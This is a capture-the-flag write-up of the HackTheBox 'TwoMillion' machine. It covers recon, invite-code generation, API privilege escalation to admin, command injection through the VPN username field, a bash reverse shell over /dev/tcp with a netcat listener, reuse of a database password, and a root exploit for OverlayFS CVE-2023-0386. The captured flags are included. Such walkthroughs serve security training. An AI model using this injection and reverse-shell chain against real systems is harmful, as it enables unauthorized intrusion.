Difficulty: Easy

Operating System: Linux

Recon and Enumeration

We will start this machine by doing a quick nmap, this will give an idea of what is running so that I can begin to tackle it.

nmap 2million.htb

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

After this, we can see 2 ports open:

  • An SSH server running on port 22.
  • A web server running on port 80.

Getting the Foothold

Let’s start by checking out the web server running on port 80:

image-20260216203952694

We can see the site here, designed to be a throwback to the old UI.

Using this information, I go to /invite to request an invite code.

“Feel free to hack your way in :) “

If you look in the website source with developer tools, you can see the following:

image-20260216205425752

For ease, please find it here:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

So this is packed, I go to the following page to unpack it: https://matthewfl.com/unPacker.html

image-20260216205803737

After this we have now discovered the makeInviteCode() function. Let’s call this in our Javascript console and see what we get back:

image-20260216210043414

This looks promising, but it needs further analysis, so I begin by expanding it:

image-20260216210116027

We can see the data itself, as well as the enctype, which we are told is ROT13. I decide the easiest way to look at this is via CyberChef.

image-20260216210235831

Well, there is some instructions for us now. I will do exactly that:

$curl -X POST http://2million.htb:80/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"RTBaUVotM0FSTEgtMzdDN0otU1JISlY=","format":"encoded"}}

Here I just send a POST request with curl, invoking the -X flag, this is just shorthand for `--request. Looking at what we get back, we have a code to use: RTBaUVotM0FSTEgtMzdDN0otU1JISlY, but as we can see from the data, it is encoded.

While I had a suspicion that it was base64 encoded from how it looked, we can use CyberChef’s magic setting to uncover this:

image-20260216210650189

And look at that, we have an invite code. Let’s create a user:

image-20260216210717286

And fill it with some dummy information for this use case:

image-20260216210812129

We now have access to the platform itself:

image-20260216210846917

After a bit of exploration, I found that if we scroll down on the left hand menu, we can find the lab access page.

image-20260216210949006

I downloaded the connection file that we saw, just like for when you connect to any lab on the platform:

image-20260216211343488

If you look at the following output, you can see that it doesn’t work. I then decide to analyse this download request in Burp Suite and I can see that the download comes from: /api/v1/user/vpn/generate.

Rather than keep pressing download for every test, I can right click this and send it to the repeater.

image-20260216213948654

I then tried a few things with the API, such as changing it from user to admin but got a 404, so I thought I would explore it further by just doing a GET to /api and seeing what we get back:

image-20260216214359178

and if I just look at /api/v1, it gives me the following:

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 16 Feb 2026 21:44:16 GMT

Content-Type: application/json

Connection: keep-alive

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 800



{"v1":{"user":{"GET":{"\/api\/v1":"Route List","\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation","\/api\/v1\/invite\/generate":"Generate invite code","\/api\/v1\/invite\/verify":"Verify invite code","\/api\/v1\/user\/auth":"Check if user is authenticated","\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration","\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration","\/api\/v1\/user\/vpn\/download":"Download OVPN file"},"POST":{"\/api\/v1\/user\/register":"Register a new user","\/api\/v1\/user\/login":"Login with existing user"}},"admin":{"GET":{"\/api\/v1\/admin\/auth":"Check if user is admin"},"POST":{"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"},"PUT":{"\/api\/v1\/admin\/settings\/update":"Update user settings"}}}}

I decide to prettify this with an online tool and I can see the following now:

"admin": {
            "GET": {
                "\/api\/v1\/admin\/auth":"Check if user is admin"
            }, "POST": {
                "\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"
            }, "PUT": {
                "\/api\/v1\/admin\/settings\/update":"Update user settings"
            }

There are a few things going on here, but we see three available API calls that can be utilised.

I try the request to /api/v1/admin/auth and I get the following back:”

image-20260216214744048

So this has message: false, which must be telling us we are not the admin. So I then try the /admin/settings/update path to see what that returns:

image-20260216214942983

Now while this is still unsuccessful, it returns a 200 status code, which means this was a successful web request. If we look at what it returns, it says that the message has an invalid content type:

"message":"Invalid content type."

The thought now is to actually provide a content type, so I add the following in to my web request:

Content-Type: application-json

Okay, now the error is a bit more informative:”

{"status":"danger","message":"Missing parameter: email"}

We are told that there is a missing email parameter, so if I specify this to see what I get instead:

image-20260216215706152

Now that we have the email provided, a different message is relayed, stating that is_admin is missing. I wasn’t too sure what the format of this would be so I try sending a 1:

image-20260216215750523

And after running this, we should now have admin access for our user:

image-20260216215842205

Now if we forward our original request to the repeater again and try our auth path from before, but rather tnan make any assumptions, we can test this with the /api/v1/admin/auth call from before:

image-20260216220237373

Now that we are admin, we can try the final API call that we were provided with:

/api/v1/admin/vpn/generate

If we query this API, we now get back the following:

image-20260216220416924

We now get the admin .ovpn file download, but I remembered from before that this wasn’t the intended method, as running the file with openvpn did nothing. So I decide to analyse the web request that we got back:

image-20260216220701163

These are bash commands that are being run, so there must be a way we can use this to run some commands to establish a foothold.

Using the format from before, as well as a ; to run our command and a # to comment out anything after the command (i.e. the commands we saw in ther response):

image-20260216220842649

This time, we get www-data returned, this must be the user we need to get access to. Now if we know we have basic bash commands for the user, we need to get a session on the system to dig around. For a reverse shell, I tend to default to the following cheat sheet:

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Let’s try sending the folllowing bash payload:

bash -c 'bash -i >& /dev/tcp/10.10.15.57/54321 0>&1

and make sure to listen locally on our machine:

nc -lnvp 54321

We can use ip -c a to get our VPN IP, remember we want the tun0 IP as we are on the HackTheBox VPN. I send the request and if we go back ton the listening netcat session:

image-20260216221358289

Getting the User Flag

We have a foothold, but www-data is a very low privelege user, so I need to find credentials for a different user. A simple ls shows the following files:

image-20260216221801963

Credentials would tend to be stored in a .env file, while they may not be what we want, it is worth noting them down as password reuse could be occuring.

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

I decide it is worth trying them credentials anyway, so I try a su command for the admin user:

image-20260216221914785

We have access, and we can now cat the user.txt file, providing us with the following hash: e991f292403a56d3cf9ce50b00723803

Getting the Root Flag

The first thing I check on any privesc is what sudo capabilities I have with sudo -l, to which unfortunately we have none:

image-20260218184507641

I then did quite a bit of exploration around common places where I have a chance of finding anything, remembering the email parameter from before as well as what I got for logging in to the admin user, I check /var/mail and I find the following mail:

admin@2million:/var/mail$ cat admin  
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Immediately, it tells us about a vulnerability that we can exploit, so I search this online:

image-20260216222632378

And this looks to be the following CVE: https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/

We know that any kernel version lower than 6.2 is vulnerable, so I find that the version of the kernel being used here is: 5.15.70-051570-generic, so it is vulnerable.

Given that this is a CVE, I explore GitLab for an exploit and come across the following repo: https://github.com/puckiestyle/CVE-2023-0386

I decide to download it as a .zip, as we know the target has no git connectivity to pull repos like this, I use the following scp command to get the file across to the target:

scp CVE-2023-0386-main.zip admin@2million.htb:/tmp/

We now have it on the target system, so I can unzip the folder with unzip. When I complie it, it does have a few compiler warnings but it does compile successfully, I run the files as described in the README.md and I end up as root:

image-20260218190552277

Now all there is left to do is cat root/root.txt and I get the following flag: 05ed20839b79996c7ba8ecca8f5cfcb1